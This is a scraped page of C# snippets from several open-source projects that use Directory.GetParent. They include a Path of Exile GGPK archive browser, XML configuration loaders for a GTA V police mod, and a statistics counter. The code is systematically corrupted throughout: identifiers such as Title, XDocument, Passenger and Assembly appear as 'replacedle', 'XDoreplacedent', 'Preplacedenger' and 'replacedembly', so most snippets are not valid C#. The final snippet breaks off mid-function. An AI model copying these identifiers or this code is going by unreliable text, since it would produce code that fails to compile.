private void tsbImport_Click(object sender, EventArgs e)
{
if (_fs == null) return;
var ofd = new OpenFileDialog();
ofd.replacedle = "Import...";
if (_lastImportExportPath != null)
{
ofd.InitialDirectory = _lastImportExportPath;
}
ofd.CheckFileExists = true;
ofd.CheckPathExists = true;
ofd.Multiselect = true;
if (ofd.ShowDialog() == DialogResult.OK)
{
_lastImportExportPath = IODirectory.GetParent(ofd.FileName).FullName;
List<string> _invalidFiles = new List<string>();
using (new WaitCursor(this))
{
for (var i = 0; i < ofd.FileNames.Length; i++)
{
var safename = Path.GetFileName(ofd.FileNames[i]);
File file = FindFileByName(safename);
if (file == null)
{
_invalidFiles.Add(safename);
}
else
{
byte[] data = IOFile.ReadAllBytes(ofd.FileNames[i]);
file.SetData(data);
}
}
}
if (_invalidFiles.Count > 0)
{
var sb = new StringBuilder();
foreach (var s in _invalidFiles)
{
sb.Append(" " + s + "\n");
}
MessageBox.Show("The following files were not found in the archive to be replaced:\n\n" + sb +
"\nPlease note that you can not add new files, only replace existing ones. The files must be named exactly " +
"as they are in the archive.", "Import", MessageBoxButtons.OK,
MessageBoxIcon.Exclamation);
}
PopulateListView();
}
}
19
Source : MainWindow.xaml.cs
with GNU Affero General Public License v3.0
from aianlinb
with GNU Affero General Public License v3.0
from aianlinb
private async void OnLoaded(object sender, RoutedEventArgs e) {
if (SteamMode)
replacedle += " (SteamMode)";
if (BundleMode)
replacedle += " (SteamMode)";
// Version Check
try {
var http = new HttpClient {
Timeout = TimeSpan.FromSeconds(2)
};
http.DefaultRequestHeaders.Add("User-Agent", "VisualGGPK2");
var json = await http.GetStringAsync("https://api.github.com/repos/aianlinb/LibGGPK2/releases");
var match = Regex.Match(json, "(?<=\"tag_name\":\"v).*?(?=\")");
var currentVersion = replacedembly.GetEntryreplacedembly().GetName().Version;
var versionText = $"{currentVersion.Major}.{currentVersion.Minor}.{currentVersion.Build}";
if (match.Success && match.Value != versionText && MessageBox.Show(this, $"Found a new update on GitHub!\n\nCurrent Version: {versionText}\nLatest Version: {match.Value}\n\nDownload now?", "VisualGGPK2", MessageBoxButton.YesNo, MessageBoxImage.Question) == MessageBoxResult.Yes) {
Process.Start(new ProcessStartInfo("https://github.com/aianlinb/LibGGPK2/releases") { UseShellExecute = true });
Close();
return;
}
http.Dispose();
} catch { }
// GGPK Selection
if (FilePath == null) {
var ofd = new OpenFileDialog {
DefaultExt = "ggpk",
FileName = SteamMode ? "_.index.bin" : "Content.ggpk",
Filter = SteamMode ? "Index Bundle File|*.index.bin" : "GGPK File|*.ggpk"
};
var setting = Properties.Settings.Default;
if (setting.GGPKPath == "") {
setting.Upgrade();
setting.Save();
}
if (setting.GGPKPath == "") {
string path;
path = Registry.CurrentUser.OpenSubKey(@"Software\GrindingGearGames\Path of Exile")?.GetValue("InstallLocation") as string;
if (path != null && File.Exists(path + @"\Content.ggpk")) // Get POE path
ofd.InitialDirectory = path.TrimEnd('\\');
} else
ofd.InitialDirectory = setting.GGPKPath;
if (ofd.ShowDialog() == true) {
setting.GGPKPath = Directory.GetParent(FilePath = ofd.FileName).FullName;
setting.Save();
} else {
Close();
return;
}
}
// Initial GGPK
await Task.Run(() => ggpkContainer = new GGPKContainer(FilePath, BundleMode, SteamMode));
// Initial ContextMenu
var mi = new MenuItem { Header = "Export" };
mi.Click += OnExportClicked;
TreeMenu.Items.Add(mi);
mi = new MenuItem { Header = "Replace" };
mi.Click += OnReplaceClicked;
TreeMenu.Items.Add(mi);
mi = new MenuItem { Header = "Recovery" };
mi.Click += OnRecoveryClicked;
TreeMenu.Items.Add(mi);
mi = new MenuItem { Header = "Convert dds to png" };
mi.Click += OnSavePngClicked;
TreeMenu.Items.Add(mi);
var imageMenu = new ContextMenu();
mi = new MenuItem { Header = "Save as png" };
mi.Click += OnSavePngClicked;
imageMenu.Items.Add(mi);
ImageView.ContextMenu = imageMenu;
var root = CreateNode(ggpkContainer.rootDirectory);
Tree.Items.Add(root); // Initial TreeView
root.IsExpanded = true;
FilterButton.IsEnabled = true;
if (!SteamMode)
AllowGameOpen.IsEnabled = true;
// Mark the free spaces in data section of dat files
DatReferenceDataTable.CellStyle = new Style(typeof(DataGridCell));
DatReferenceDataTable.CellStyle.Setters.Add(new EventSetter(LoadedEvent, new RoutedEventHandler(OnCellLoaded)));
// Make changes to DatContainer after editing DatTable
DatTable.CellEditEnding += OnDatTableCellEdit;
// Make changes to DatContainer after editing DatReferenceDataTable
DatReferenceDataTable.CellEditEnding += OnDatReferenceDataTableCellEdit;
TextView.AppendText("\r\n\r\nDone!\r\n");
}
19
Source : MainWindow.xaml.cs
with GNU Affero General Public License v3.0
from aianlinb
with GNU Affero General Public License v3.0
from aianlinb
private void OnSavePngClicked(object sender, RoutedEventArgs e) {
var o = (Tree.SelectedItem as TreeViewItem)?.Tag;
if (o is RecordTreeNode rtn && rtn is not IFileRecord) {
var sfd = new SaveFileDialog { FileName = rtn.Name + ".dir", Filter= "*.png|*.png" };
if (sfd.ShowDialog() == true) {
var bkg = new BackgroundDialog();
Task.Run(() => {
try {
var list = new SortedDictionary<IFileRecord, string>(BundleSortComparer.Instance);
var path = Directory.GetParent(sfd.FileName).FullName + "\\" + rtn.Name;
GGPKContainer.RecursiveFileList(rtn, path, list, true, ".dds$");
bkg.ProgressText = "Converting {0}/" + list.Count.ToString() + " Files . . .";
var failFileCount = 0;
try {
BatchConvertPng(list, bkg.NextProgress);
} catch (GGPKContainer.BundleMissingException bex) {
failFileCount = bex.failFiles;
Dispatcher.Invoke(() => MessageBox.Show(this, bex.Message, "Warning", MessageBoxButton.OK, MessageBoxImage.Warning));
}
Dispatcher.Invoke(() => {
MessageBox.Show(this, "Converted " + (list.Count - failFileCount).ToString() + " Files", "Done", MessageBoxButton.OK, MessageBoxImage.Information);
bkg.Close();
});
} catch (Exception ex) {
App.HandledException(ex);
Dispatcher.Invoke(bkg.Close);
}
});
bkg.ShowDialog();
}
} else if (o is IFileRecord fr && !(fr as RecordTreeNode).Name.EndsWith(".dds") && !(fr as RecordTreeNode).Name.EndsWith(".dds.header")) {
MessageBox.Show(this, "Selected file is not a DDS file", "Error", MessageBoxButton.OK, MessageBoxImage.Error);
} else {
var sfd = new SaveFileDialog { FileName = Path.GetFileNameWithoutExtension((string)Image.Tag) + ".png", Filter = "*.png|*.png" };
if (sfd.ShowDialog() == true) {
BitmapSourceSave((BitmapSource)Image.Source, sfd.FileName);
MessageBox.Show(this, "Saved " + sfd.FileName, "Done", MessageBoxButton.OK, MessageBoxImage.Information);
}
}
}
19
Source : MainWindow.xaml.cs
with GNU Affero General Public License v3.0
from aianlinb
with GNU Affero General Public License v3.0
from aianlinb
public static void BatchConvertPng(IEnumerable<KeyValuePair<IFileRecord, string>> list, Action ProgressStep = null) {
var regex = new Regex(".dds$");
LibBundle.Records.BundleRecord br = null;
MemoryStream ms = null;
var failBundles = 0;
var failFiles = 0;
foreach (var (record, path) in list) {
Directory.CreateDirectory(Directory.GetParent(path).FullName);
if (record is BundleFileNode bfn) {
if (br != bfn.BundleFileRecord.bundleRecord) {
ms?.Close();
br = bfn.BundleFileRecord.bundleRecord;
br.Read(bfn.ggpkContainer.Reader, bfn.ggpkContainer.RecordOfBundle(br)?.DataBegin);
ms = br.Bundle?.Read(bfn.ggpkContainer.Reader);
if (ms == null)
++failBundles;
}
if (ms == null)
++failFiles;
else {
var bs = DdsToPng(new MemoryStream(bfn.BatchReadFileContent(ms)));
BitmapSourceSave(bs, regex.Replace(path, ".png"));
}
} else {
var bs = DdsToPng(new MemoryStream(record.ReadFileContent()));
BitmapSourceSave(bs, regex.Replace(path, ".png"));
}
ProgressStep?.Invoke();
}
if (failBundles != 0 || failFiles != 0)
throw new GGPKContainer.BundleMissingException(failBundles, failFiles);
}
19
Source : GGPKContainer.cs
with GNU Affero General Public License v3.0
from aianlinb
with GNU Affero General Public License v3.0
from aianlinb
public static void Export(IEnumerable<KeyValuePair<IFileRecord, string>> list, Action ProgressStep = null)
{
LibBundle.Records.BundleRecord br = null;
MemoryStream ms = null;
var failBundles = 0;
var failFiles = 0;
foreach (var (record, path) in list) {
Directory.CreateDirectory(Directory.GetParent(path).FullName);
if (record is BundleFileNode bfn) {
if (br != bfn.BundleFileRecord.bundleRecord) {
ms?.Close();
br = bfn.BundleFileRecord.bundleRecord;
br.Read(bfn.ggpkContainer.Reader, bfn.ggpkContainer.RecordOfBundle(br)?.DataBegin);
ms = br.Bundle?.Read(bfn.ggpkContainer.Reader);
if (ms == null)
++failBundles;
}
if (ms == null)
++failFiles;
else
File.WriteAllBytes(path, bfn.BatchReadFileContent(ms));
} else
File.WriteAllBytes(path, record.ReadFileContent());
ProgressStep?.Invoke();
}
if (failBundles != 0 || failFiles != 0)
throw new BundleMissingException(failBundles, failFiles);
}
19
Source : MainWindow.xaml.cs
with GNU Affero General Public License v3.0
from aianlinb
with GNU Affero General Public License v3.0
from aianlinb
private void OnExportClicked(object sender, RoutedEventArgs e)
{
if ((Tree.SelectedItem as TreeViewItem)?.Tag is RecordTreeNode rtn)
{
var sfd = new SaveFileDialog();
if (rtn is IFileRecord fr)
{
sfd.FileName = rtn.Name;
if (sfd.ShowDialog() == true)
{
File.WriteAllBytes(sfd.FileName, fr.ReadFileContent(ggpkContainer.fileStream));
MessageBox.Show(this, "Exported " + rtn.GetPath() + "\nto " + sfd.FileName, "Done", MessageBoxButton.OK, MessageBoxImage.Information);
}
}
else
{
sfd.FileName = rtn.Name + ".dir";
if (sfd.ShowDialog() == true)
{
var bkg = new BackgroundDialog();
Task.Run(() => {
try {
var list = new SortedDictionary<IFileRecord, string>(BundleSortComparer.Instance);
var path = Directory.GetParent(sfd.FileName).FullName + "\\" + rtn.Name;
GGPKContainer.RecursiveFileList(rtn, path, list, true);
bkg.ProgressText = "Exporting {0}/" + list.Count.ToString() + " Files . . .";
var failFileCount = 0;
try {
GGPKContainer.Export(list, bkg.NextProgress);
} catch (GGPKContainer.BundleMissingException bex) {
failFileCount = bex.failFiles;
Dispatcher.Invoke(() => MessageBox.Show(this, bex.Message, "Warning", MessageBoxButton.OK, MessageBoxImage.Warning));
}
Dispatcher.Invoke(() => {
MessageBox.Show(this, "Exported " + (list.Count - failFileCount).ToString() + " Files", "Done", MessageBoxButton.OK, MessageBoxImage.Information);
bkg.Close();
});
} catch (Exception ex) {
App.HandledException(ex);
Dispatcher.Invoke(bkg.Close);
}
});
bkg.ShowDialog();
}
}
}
}
19
Source : ContentsBrowser.cs
with MIT License
from alaabenfatma
with MIT License
from alaabenfatma
public void Load(string path, bool forced = false)
{
if (!Folder && !forced) return;
if (Parent.Container != null)
{
Parent.Path = path;
int x;
Parent.Container.Disable();
var d = new DirectoryInfo(path); //replaceduming Test is your Folder
var files = d.GetFiles(); //Getting Text files
var dirs = d.GetDirectories();
x = files.Length + dirs.Length;
Parent.Items.Clear();
if (x == 0)
{
Parent.Container.Enable();
Parent.Container.UpdateFoldersTree();
return;
}
foreach (var dirr in dirs)
Task.Factory.StartNew(() =>
{
Dispatcher.BeginInvoke(DispatcherPriority.Input,
new Action(() =>
{
if (Parent.Path == Directory.GetParent(dirr.FullName).FullName)
Parent.AddFolder(dirr.Name, dirr.Extension, dirr.FullName);
if (x == Parent.Items.Count)
{
Parent.Container.Enable();
Parent.Container.UpdateFoldersTree();
}
}));
});
foreach (var file in files)
Task.Factory.StartNew(() =>
{
Dispatcher.BeginInvoke(DispatcherPriority.Input,
new Action(() =>
{
if (Parent.Path == Directory.GetParent(file.FullName).FullName)
Parent.AddFile(file.Name, file.Extension, file.FullName);
if (x == Parent.Items.Count)
{
Parent.Container.Enable();
Parent.Container.UpdateFoldersTree();
}
}));
});
}
}
19
Source : XMLStuff.cs
with GNU General Public License v3.0
from Albo1125
with GNU General Public License v3.0
from Albo1125
public static List<TransportWorldDistrict> LoadTransportWorldDistrictsFromXMLFile(string file)
{
TransportWorldDistrict DefaultCityDistrict = new TransportWorldDistrict()
{
WorldDistrict = Zones.WorldDistricts.City,
DriverModels = new Model[] { "S_M_Y_COP_01" },
PreplacedengerModels = new Model[] { "S_F_Y_COP_01" },
VehSettings = new VehicleSettings[] { new VehicleSettings("POLICET", -1, new int[] { }) }
};
TransportWorldDistrict DefaultCountrysideDistrict = new TransportWorldDistrict()
{
WorldDistrict = Zones.WorldDistricts.LosSantosCountryside,
DriverModels = new Model[] { "S_M_Y_SHERIFF_01" },
PreplacedengerModels = new Model[] { "S_F_Y_SHERIFF_01" },
VehSettings = new VehicleSettings[] { new VehicleSettings("SHERIFF2", -1, new int[] { }) }
};
TransportWorldDistrict DefaultBlaineDistrict = new TransportWorldDistrict()
{
WorldDistrict = Zones.WorldDistricts.BlaineCounty,
DriverModels = new Model[] { "S_M_Y_SHERIFF_01" },
PreplacedengerModels = new Model[] { "S_F_Y_SHERIFF_01" },
VehSettings = new VehicleSettings[] { new VehicleSettings("SHERIFF2", -1, new int[] { }) }
};
TransportWorldDistrict DefaulreplacederDistrict = new TransportWorldDistrict()
{
WorldDistrict = Zones.WorldDistricts.Water,
DriverModels = new Model[] { "s_m_y_uscg_01" },
PreplacedengerModels = new Model[] { "s_m_y_uscg_01" },
VehSettings = new VehicleSettings[] { new VehicleSettings("PREDATOR", -1, new int[] { }) }
};
try
{
#region defaultdoreplacedent
if (!File.Exists(file))
{
Directory.CreateDirectory(Directory.GetParent(file).FullName);
new XDoreplacedent(
new XElement("ArrestManager",
new XComment(@"These Transport World Districts are used if you call for transport within a certain world district and you don't have a transport region set up for that district.
Multiple Transport World Districts can be set up for more than one zone.
In that case, Arrest Manager will select a random one from the ones that you've specified for that zone.
There must be at least one Transport World District for each of the following:
Valid district names are: City, LosSantosCountryside, BlaineCounty, Water.
Certain restrictions & conditions apply: Driver & Preplacedenger & Vehicle models must be valid.
A vehicle must have at least 4 free seats and must be a Police vehicle(with the exception of the RIOT van).This means a FLAG_LAW_ENFORCEMENT in vehicles.meta must be present.
Water districts must have boats as vehicles.
LiveryNumber and ExtraNumbers are optional.
For LiveryNumber & ExtraNumbers: Keep in mind the code starts counting at 0.If a LiveryNumber is 1 in OpenIV, it will be 0 in code so you must enter 0.
If the LiveryNumber is 2 in OpenIV it will be 1 in code so you must enter 1 etc.
ExtraNumbers must be separated by commas, e.g. 2,3,4,5.
Naturally, you can add as many TransportWorldDistricts as you like - just keep them between the <ArrestManager> and </ArrestManager> tags.
The below ones are meant as examples of what you can do.
The default XML file that comes with the Arrest Manager download (this one, if you haven't changed it) works ingame.
There's no need to change anything if you don't want to.
If you don't set anything at all for a certain district (not recommended) a very basic default will be set by Arrest Manager itself.
Here you can change the ped that's driving the transport vehicle. You can find all valid values here: http://ragepluginhook.net/PedModels.aspx
Police unit uniforms
Male City Police: s_m_y_cop_01
Female City Police: s_f_y_cop_01
Female Sheriff: s_f_y_sheriff_01
Male Sheriff: s_m_y_sheriff_01
Male Highway: s_m_y_hwaycop_01
Prison Guard: s_m_m_prisguard_01
Police Vehicle Examples: POLICE, POLICE2, POLICE3, POLICE4, POLICET, SHERIFF, SHERIFF2"
), new XElement("TransportWorldDistrict",
new XAttribute("DistrictName", "City"),
new XElement("Driver", new XAttribute("Model", "S_M_Y_COP_01")),
new XElement("Driver", new XAttribute("Model", "S_F_Y_COP_01")),
new XElement("Preplacedenger", new XAttribute("Model", "S_M_Y_COP_01")),
new XElement("Preplacedenger", new XAttribute("Model", "S_F_Y_COP_01")),
new XElement("Vehicle", new XAttribute("Model", "POLICET"), new XAttribute("LiveryNumber", "0")),
new XElement("Vehicle", new XAttribute("Model", "POLICE")),
new XElement("Vehicle", new XAttribute("Model", "POLICE2"), new XAttribute("ExtraNumbers", "1")),
new XElement("Vehicle", new XAttribute("Model", "POLICE3"), new XAttribute("LiveryNumber", "0"), new XAttribute("ExtraNumbers", "1"))
),
new XElement("TransportWorldDistrict",
new XAttribute("DistrictName", "City"),
new XElement("Driver", new XAttribute("Model", "S_M_Y_COP_01")),
new XElement("Driver", new XAttribute("Model", "S_F_Y_COP_01")),
new XElement("Preplacedenger", new XAttribute("Model", "S_F_Y_COP_01")),
new XElement("Preplacedenger", new XAttribute("Model", "S_M_Y_COP_01")),
new XElement("Vehicle", new XAttribute("Model", "POLICET")),
new XElement("Vehicle", new XAttribute("Model", "POLICE")),
new XElement("Vehicle", new XAttribute("Model", "POLICE2")),
new XElement("Vehicle", new XAttribute("Model", "POLICE3"))
),
new XElement("TransportWorldDistrict",
new XAttribute("DistrictName", "LosSantosCountryside"),
new XElement("Driver", new XAttribute("Model", "S_M_Y_SHERIFF_01")),
new XElement("Driver", new XAttribute("Model", "S_F_Y_SHERIFF_01")),
new XElement("Preplacedenger", new XAttribute("Model", "S_M_Y_SHERIFF_01")),
new XElement("Preplacedenger", new XAttribute("Model", "S_F_Y_SHERIFF_01")),
new XElement("Vehicle", new XAttribute("Model", "SHERIFF2"))
),
new XElement("TransportWorldDistrict",
new XAttribute("DistrictName", "BlaineCounty"),
new XElement("Driver", new XAttribute("Model", "S_M_Y_SHERIFF_01")),
new XElement("Driver", new XAttribute("Model", "S_F_Y_SHERIFF_01")),
new XElement("Preplacedenger", new XAttribute("Model", "S_M_Y_SHERIFF_01")),
new XElement("Preplacedenger", new XAttribute("Model", "S_F_Y_SHERIFF_01")),
new XElement("Vehicle", new XAttribute("Model", "SHERIFF2"), new XAttribute("LiveryNumber", "0"), new XAttribute("ExtraNumbers", "2,3,4"))
),
new XElement("TransportWorldDistrict",
new XAttribute("DistrictName", "Water"),
new XElement("Driver", new XAttribute("Model", "S_M_Y_USCG_01")),
new XElement("Preplacedenger", new XAttribute("Model", "S_M_Y_USCG_01")),
new XElement("Vehicle", new XAttribute("Model", "PREDATOR"))
)
)
).Save(file);
Game.LogTrivial("Transport world district file did not exist. Created default.");
}
#endregion
XDoreplacedent xdoc = XDoreplacedent.Load(file);
char[] trim = new char[] { '\'', '\"', ' ' };
List<TransportWorldDistrict> trnswrlddistrs = xdoc.Descendants("TransportWorldDistrict").Select(x => new TransportWorldDistrict()
{
WorldDistrict = (Zones.WorldDistricts)Enum.Parse(typeof(Zones.WorldDistricts), ((string)x.Attribute("DistrictName")).Trim(trim)),
DriverModels = (x.Elements("Driver").Select(y => new Model(((string)y.Attribute("Model")).Trim(trim))).ToArray()),
PreplacedengerModels = (x.Elements("Preplacedenger").Select(y => new Model(((string)y.Attribute("Model")).Trim(trim))).ToArray()),
VehSettings = (x.Elements("Vehicle").Select(y => new VehicleSettings(new Model((((string)y.Attribute("Model"))).Trim(trim)),
(string)y.Attribute("LiveryNumber") != null && !string.IsNullOrWhiteSpace((string)y.Attribute("LiveryNumber")) ? Int32.Parse(((string)y.Attribute("LiveryNumber")).Trim(trim)) : -1,
(string)y.Attribute("ExtraNumbers") != null && !string.IsNullOrWhiteSpace((string)y.Attribute("ExtraNumbers")) ? Array.ConvertAll(((string)y.Attribute("ExtraNumbers")).Trim(trim).Replace(" ", "").ToLower().Split(','), int.Parse) : new int[] { })).ToArray()),
}).ToList<TransportWorldDistrict>();
foreach (Zones.WorldDistricts distr in Enum.GetValues(typeof(Zones.WorldDistricts)))
{
if (!trnswrlddistrs.Select(x => x.WorldDistrict).Contains(distr))
{
Game.LogTrivial("Transport World Districts doesn't contain " + distr.ToString() + ". Adding default.");
if (distr == Zones.WorldDistricts.City)
{
trnswrlddistrs.Add(DefaultCityDistrict);
}
else if (distr == Zones.WorldDistricts.LosSantosCountryside)
{
trnswrlddistrs.Add(DefaultCountrysideDistrict);
}
else if (distr == Zones.WorldDistricts.BlaineCounty)
{
trnswrlddistrs.Add(DefaultBlaineDistrict);
}
else if (distr == Zones.WorldDistricts.Water)
{
trnswrlddistrs.Add(DefaulreplacederDistrict);
}
}
}
return trnswrlddistrs;
}
catch (System.Threading.ThreadAbortException) { }
catch (Exception e)
{
Game.LogTrivial("Arrest Manager encountered an exception reading \'" + file + "\'. It was: " + e.ToString());
Game.DisplayNotification("~r~Error reading Transport World Districts.xml. Setting default values.");
}
return new List<TransportWorldDistrict>() { DefaultCityDistrict, DefaultBlaineDistrict, DefaultCountrysideDistrict };
}
19
Source : XMLStuff.cs
with GNU General Public License v3.0
from Albo1125
with GNU General Public License v3.0
from Albo1125
public static List<TransportRegion> LoadTransportRegionsFromXMLFile(string file)
{
try
{
#region defaultdoreplacedent
if (!File.Exists(file))
{
Directory.CreateDirectory(Directory.GetParent(file).FullName);
new XDoreplacedent(
new XElement("ArrestManager",
new XComment(@"These Transport Regions are used to override the Transport World Districts if you call for transport in a certain Zone that you've set up below.
Multiple regions can be set up for one zone - in that case, Arrest Manager will select a random transport region from the ones that you've specified for that zone.
A list of zone names can be found in the Doreplacedentation and Licence folder.
The same restrictions apply here as in the world districts file: Driver & Preplacedenger & Vehicle models must be valid.
A vehicle must have at least 4 free seats and must be a Police vehicle (with the exception of the RIOT van).
LiveryNumber and ExtraNumbers are optional.
For LiveryNumber&ExtraNumbers: Keep in mind the code starts counting at 0. If a LiveryNumber is 1 in OpenIV, it will be 0 in code so you must enter 0.
If the LiveryNumber is 2 in OpenIV it will be 1 in code so you must enter 1 etc.
ExtraNumbers must be separated by commas, e.g. 2, 3, 4, 5.
The default XML file that comes with the Arrest Manager download(this one, if you haven't changed it) works ingame.
There's no need to change anything if you don't want to.
Naturally, you can add as many TransportRegions as you like(add them between the < ArrestManager > and </ ArrestManager > tags).The below regions are meant as examples of what you can do.
Here you can change the ped that's driving the transport vehicle. You can find all valid values here: http://ragepluginhook.net/PedModels.aspx
Police unit uniforms
Male City Police: s_m_y_cop_01
Female City Police: s_f_y_cop_01
Female Sheriff: s_f_y_sheriff_01
Male Sheriff: s_m_y_sheriff_01
Male Highway: s_m_y_hwaycop_01
Prison Guard: s_m_m_prisguard_01
Police Vehicle Examples: POLICE, POLICE2, POLICE3, POLICE4, POLICET, SHERIFF, SHERIFF2"),
new XElement("TransportRegion",
new XAttribute("ZoneName", "East Vinewood"),
new XElement("Driver", new XAttribute("Model", "S_M_Y_COP_01")),
new XElement("Driver", new XAttribute("Model", "S_F_Y_COP_01")),
new XElement("Preplacedenger", new XAttribute("Model", "S_M_Y_COP_01")),
new XElement("Preplacedenger", new XAttribute("Model", "S_F_Y_COP_01")),
new XElement("Vehicle", new XAttribute("Model", "POLICE4"), new XAttribute("LiveryNumber", "0"), new XAttribute("ExtraNumbers", "2,3,4"))
),
new XElement("TransportRegion",
new XAttribute("ZoneName", "West Vinewood"),
new XElement("Driver", new XAttribute("Model", "S_M_Y_COP_01")),
new XElement("Driver", new XAttribute("Model", "S_F_Y_COP_01")),
new XElement("Preplacedenger", new XAttribute("Model", "S_M_Y_COP_01")),
new XElement("Preplacedenger", new XAttribute("Model", "S_F_Y_COP_01")),
new XElement("Vehicle", new XAttribute("Model", "POLICET"), new XAttribute("LiveryNumber", "0"))
),
new XElement("TransportRegion",
new XAttribute("ZoneName", "Sandy Sreplaceds"),
new XElement("Driver", new XAttribute("Model", "S_M_Y_SHERIFF_01")),
new XElement("Driver", new XAttribute("Model", "S_F_Y_SHERIFF_01")),
new XElement("Preplacedenger", new XAttribute("Model", "S_M_Y_SHERIFF_01")),
new XElement("Preplacedenger", new XAttribute("Model", "S_F_Y_SHERIFF_01")),
new XElement("Vehicle", new XAttribute("Model", "SHERIFF"))
)
)).Save(file);
}
#endregion
XDoreplacedent xdoc = XDoreplacedent.Load(file);
char[] trim = new char[] { '\'', '\"', ' ' };
List<TransportRegion> trnsregs = xdoc.Descendants("TransportRegion").Select(x => new TransportRegion()
{
ZoneName = ((string)x.Attribute("ZoneName")).Trim(trim),
DriverModels = (x.Elements("Driver").Select(y => new Model(((string)y.Attribute("Model")).Trim(trim))).ToArray()),
PreplacedengerModels = (x.Elements("Preplacedenger").Select(y => new Model(((string)y.Attribute("Model")).Trim(trim))).ToArray()),
VehSettings = (x.Elements("Vehicle").Select(y => new VehicleSettings(new Model((((string)y.Attribute("Model"))).Trim(trim)),
(string)y.Attribute("LiveryNumber") != null && !string.IsNullOrWhiteSpace((string)y.Attribute("LiveryNumber")) ? Int32.Parse(((string)y.Attribute("LiveryNumber")).Trim(trim)) : -1,
(string)y.Attribute("ExtraNumbers") != null && !string.IsNullOrWhiteSpace((string)y.Attribute("ExtraNumbers")) ? Array.ConvertAll(((string)y.Attribute("ExtraNumbers")).Trim(trim).Replace(" ", "").ToLower().Split(','), int.Parse) : new int[] { })).ToArray()),
//VehicleModel = new Model(((string)x.Element("Vehicle").Attribute("Model")).Trim(trim)),
//LiveryNumber = (string)x.Element("Vehicle").Attribute("LiveryNumber") != null && !string.IsNullOrWhiteSpace((string)x.Element("Vehicle").Attribute("LiveryNumber")) ? Int32.Parse(((string)x.Element("Vehicle").Attribute("LiveryNumber")).Trim(trim)) : -1,
//ExtraNumbers = (string)x.Element("Vehicle").Attribute("ExtraNumbers") != null && !string.IsNullOrWhiteSpace((string)x.Element("Vehicle").Attribute("ExtraNumbers")) ? Array.ConvertAll(((string)x.Element("Vehicle").Attribute("ExtraNumbers")).Trim(trim).Replace(" ", "").ToLower().Split(','), int.Parse) : new int[] { },
}).ToList<TransportRegion>();
return trnsregs;
}
catch (System.Threading.ThreadAbortException) { }
catch (Exception e)
{
Game.LogTrivial("Arrest Manager encountered an exception reading \'" + file + "\'. It was: " + e.ToString());
Game.DisplayNotification("~r~Error reading Transport Regions.xml. Setting default values.");
}
return new List<TransportRegion>();
}
19
Source : CourtSystem.cs
with GNU General Public License v3.0
from Albo1125
with GNU General Public License v3.0
from Albo1125
public static void CourtSystemMainLogic()
{
if (!LSPDFRPlusHandler.BritishPolicingScriptRunning)
{
GameFiber.StartNew(delegate
{
Directory.CreateDirectory(Directory.GetParent(CourtCaseFilePath).FullName);
if (!File.Exists(CourtCaseFilePath))
{
new XDoreplacedent(
new XElement("LSPDFRPlus")
)
.Save(CourtCaseFilePath);
}
LoadCourtCasesFromXMLFile(CourtCaseFilePath);
while (true)
{
GameFiber.Yield();
foreach (CourtCase ccase in PendingCourtCases.ToArray())
{
ccase.CheckForCaseUpdatedStatus();
}
}
});
}
}
19
Source : SampleDbMigrationService.cs
with MIT License
from albyho
with MIT License
from albyho
private string GetSolutionDirectoryPath()
{
var currentDirectory = new DirectoryInfo(Directory.GetCurrentDirectory());
while (Directory.GetParent(currentDirectory.FullName) != null)
{
currentDirectory = Directory.GetParent(currentDirectory.FullName);
if (Directory.GetFiles(currentDirectory.FullName).FirstOrDefault(f => f.EndsWith(".sln")) != null)
{
return currentDirectory.FullName;
}
}
return null;
}
19
Source : StatisticsCounter.cs
with GNU General Public License v3.0
from Albo1125
with GNU General Public License v3.0
from Albo1125
public static void AddCountToStatistic(string Statistic, string PluginName)
{
try
{
SimpleAES StringEncrypter = new SimpleAES();
Directory.CreateDirectory(Directory.GetParent(StatisticsFilePath).FullName);
if (!File.Exists(StatisticsFilePath))
{
new XDoreplacedent(
new XElement("LSPDFRPlus")
)
.Save(StatisticsFilePath);
}
string pswd = Environment.UserName;
string EncryptedStatistic = XmlConvert.EncodeName(StringEncrypter.EncryptToString(Statistic + PluginName + pswd));
string EncryptedPlugin = XmlConvert.EncodeName(StringEncrypter.EncryptToString(PluginName + pswd));
XDoreplacedent xdoc = XDoreplacedent.Load(StatisticsFilePath);
char[] trim = new char[] { '\'', '\"', ' ' };
XElement LSPDFRPlusElement;
if (xdoc.Element("LSPDFRPlus") == null)
{
LSPDFRPlusElement = new XElement("LSPDFRPlus");
xdoc.Add(LSPDFRPlusElement);
}
LSPDFRPlusElement = xdoc.Element("LSPDFRPlus");
XElement StatisticElement;
if (LSPDFRPlusElement.Elements(EncryptedStatistic).Where(x => (string)x.Attribute("Plugin") == EncryptedPlugin).ToList().Count == 0)
{
//Game.LogTrivial("Creating new statistic entry.");
StatisticElement = new XElement(EncryptedStatistic);
StatisticElement.Add(new XAttribute("Plugin", EncryptedPlugin));
LSPDFRPlusElement.Add(StatisticElement);
}
StatisticElement = LSPDFRPlusElement.Elements(EncryptedStatistic).Where(x => (string)x.Attribute("Plugin") == EncryptedPlugin).FirstOrDefault();
int StatisticCount;
if (StatisticElement.IsEmpty)
{
StatisticCount = 0;
}
else
{
string DecryptedStatistic = StringEncrypter.DecryptString(XmlConvert.DecodeName(StatisticElement.Value));
//Game.LogTrivial("Decryptedstatistic: " + DecryptedStatistic);
int index = DecryptedStatistic.IndexOf(EncryptedStatistic);
string cleanPath = (index < 0)
? "0"
: DecryptedStatistic.Remove(index, EncryptedStatistic.Length);
//if (cleanPath == "0") { Game.LogTrivial("Cleanpath debug 2"); }
index = cleanPath.IndexOf(pswd);
cleanPath = (index < 0)
? "0"
: cleanPath.Remove(index, pswd.Length);
//if (cleanPath == "0") { Game.LogTrivial("Cleanpath debug 1"); }
StatisticCount = int.Parse(cleanPath);
}
//Game.LogTrivial("Statisticscount: " + StatisticCount.ToString());
StatisticCount++;
string ValueToWrite = StatisticCount.ToString() + pswd;
int indextoinsertat = LSPDFRPlusHandler.rnd.Next(ValueToWrite.Length);
ValueToWrite = ValueToWrite.Substring(0, indextoinsertat) + EncryptedStatistic + ValueToWrite.Substring(indextoinsertat);
//Game.LogTrivial("Valueotwrite: " + ValueToWrite);
StatisticElement.Value = XmlConvert.EncodeName(StringEncrypter.EncryptToString(ValueToWrite));
xdoc.Save(StatisticsFilePath);
}
catch (System.Threading.ThreadAbortException e) { }
catch (Exception e)
{
Game.LogTrivial("LSPDFR+ encountered a statistics exception. It was: " + e.ToString());
Game.DisplayNotification("~r~LSPDFR+: Statistics error.");
}
}
19
Source : HotUpdateManager.cs
with Apache License 2.0
from AlexWan
with Apache License 2.0
from AlexWan
private List<string> SeekForSourceFiles(BotPanel bot)
{
string botUniqName = GetBotUniqName(bot);
